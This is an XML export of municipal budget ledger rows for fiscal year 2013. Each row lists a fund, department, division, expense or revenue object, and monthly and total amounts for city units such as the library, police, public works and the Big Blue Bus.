<row _id="791"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30600.0</total></row>
<row _id="792"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1920.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1920.0</total></row>
<row _id="793"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555120.0</object><object_description>LA SEWAGE DISPOSAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6402960.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6402960.0</total></row>
<row _id="794"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3060.0</total></row>
<row _id="795"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23000.0</total></row>
<row _id="796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2678.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2678.0</total></row>
<row _id="797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24658.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24658.0</total></row>
<row _id="798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533080.0</object><object_description>MARTIN LUTHER KING DAY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7700.0</total></row>
<row _id="799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566970.0</object><object_description>FINGERPRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>88000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88000.0</total></row>
<row _id="800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>407160.0</object><object_description>STORMWATER IN-LIEU FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5250.0</total></row>
<row _id="803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>45003.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>450</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45453.0</total></row>
<row _id="804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>400430.0</object><object_description>LIBRARY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>36164.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36164.0</total></row>
<row _id="806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6300.0</total></row>
<row _id="808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567010.0</object><object_description>PUBLIC SAFETY BONDS</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>967200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>967200.0</total></row>
<row _id="810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401130.0</object><object_description>SPORTS LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-121680.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-121680.0</total></row>
<row _id="811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-474018.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-474018.0</total></row>
<row _id="812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>224.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>224.0</total></row>
<row _id="813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>28376</april><may>0</may><june>0.0</june><total>28376.0</total></row>
<row _id="815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>7167027</april><may>0</may><june>0.0</june><total>7167027.0</total></row>
<row _id="816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>698772.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-58369</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>640403.0</total></row>
<row _id="817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5050.0</total></row>
<row _id="818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8700.0</total></row>
<row _id="819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>577065.0</object><object_description>MEMBERSHIP FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>34272.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34272.0</total></row>
<row _id="823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402060.0</object><object_description>STA SALES TAX -OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-3325729.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3325729.0</total></row>
<row _id="824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533260.0</object><object_description>REPAIRS/IMPROVEMENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>61875.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>61875.0</total></row>
<row _id="827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70820.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70820.0</total></row>
<row _id="828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="830"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1605894.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3515</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1609409.0</total></row>
<row _id="831"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13500.0</total></row>
<row _id="832"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6324.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6324.0</total></row>
<row _id="833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>187298.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>187298.0</total></row>
<row _id="834"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12500.0</total></row>
<row _id="835"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="836"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="837"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555220.0</object><object_description>UNIFORM RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
